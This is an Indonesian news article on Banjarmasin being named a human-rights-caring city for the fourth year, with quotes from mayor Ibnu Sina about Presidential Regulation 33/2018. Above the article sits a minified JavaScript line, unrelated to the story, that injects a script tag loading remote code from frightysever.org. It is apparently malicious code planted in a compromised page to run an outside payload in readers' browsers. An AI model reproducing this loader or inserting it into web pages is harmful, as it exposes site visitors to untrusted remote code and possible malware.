(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Banjarmasin Sandang Kota Peduli HAM untuk Keempat Kalinya

BANJARMASIN, Kota Banjarmasin sebagai ibukota Provinsi Kalimantan Selatan, telah menyandang predikat Kota Perduli Hak Asasi Manusia (HAM). Walikota Banjarmasin H. Ibnu Sina mengklaim, Kota Seribu Sungai telah 4 kali berturut-turut menyandang predikat ini.

“Kota Banjarmasin telah menjadi kota perduli HAM selama empat tahun berturut-turut. Dan Insyaallah tahun depan kita akan menjadi tuan rumah festival HAM,” kata Ibnu usai membuka Sosialisasi Perpres Nomor 33 Tahun 2018 tentang Rencana Aksi Nasional HAM (RAN HAM) di Aula Kayuh Baimbai Balaikota Banjarmasin, Senin (21/10) pagi.

Kendati masih ada yang dibenahi, Ibnu mengatakan, semua hak asasi masyarakat Kota Banjarmasin telah dipenuhi. Seperti penyediaan fasilitas untuk kaum difabel di sejumlah fasilitas publik maupun instansi pemerintah. “Terkait dengan ramah anak, ramah pemuda dan ramah difabel, tidak ada bullying dan pelecehan,” ujarnya.

“Kalau terjadi sesuatu yang tidak kita inginkan, ada mekanisme yang sudah disepakati, dan saya kira itu parameter-parameter yang selama ini kita penuhi dalam daftar formulir untuk kota layak HAM sudah kita penuhi,” tambah Ibnu.

Sehingga, Ibnu menegaskan, sosialisasi Perpres Nomor 33 Tahun 2018 ini merupakan langkah untuk menyamakan persepsi. “Menyamakan persepsi terkait langkah-langkah rencana aksi berikutnya,” katanya.

Ibnu berharap, mendapat dukungan dari semua pihak, terutama dari akademisi, stakeholder dan komunitas masyarakat. “Sehingga Kota Banjarmasin betul-betul bisa menjadi kota yang menghargai semua. Sehingga city for all itu bisa kita wujudkan bersama,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Chell